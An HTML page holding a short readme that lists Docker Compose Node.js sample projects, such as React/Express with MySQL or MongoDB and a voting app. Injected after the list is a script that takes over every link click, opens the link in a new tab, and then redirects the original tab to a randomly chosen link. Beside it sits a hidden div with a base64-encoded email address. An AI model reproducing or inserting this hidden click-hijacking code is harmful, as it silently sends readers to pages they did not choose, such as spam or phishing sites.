<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># Node.js samples

| Name | Description |
|------|-------------|
| [NGINX / Node.js / Redis](https://github.com/docker/awesome-compose/tree/master/nginx-nodejs-redis) | A sample Node.js application with Nginx proxy and a Redis database. |
| [React / Express / MySQL](https://github.com/docker/awesome-compose/tree/master/react-express-mysql) | A sample React application with a Node.js backend and a MySQL database. |
| [React / Express / MongoDB](https://github.com/docker/awesome-compose/tree/master/react-express-mongodb) | A sample React application with a Node.js backend and a Mongo database. |
| [example-voting-app](https://github.com/dockersamples/example-voting-app) | A sample Docker Compose app. |
| [slack-clone-docker](https://github.com/dockersamples/slack-clone-docker) | A sample Slack Clone app built with the MERN stack. |
</p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
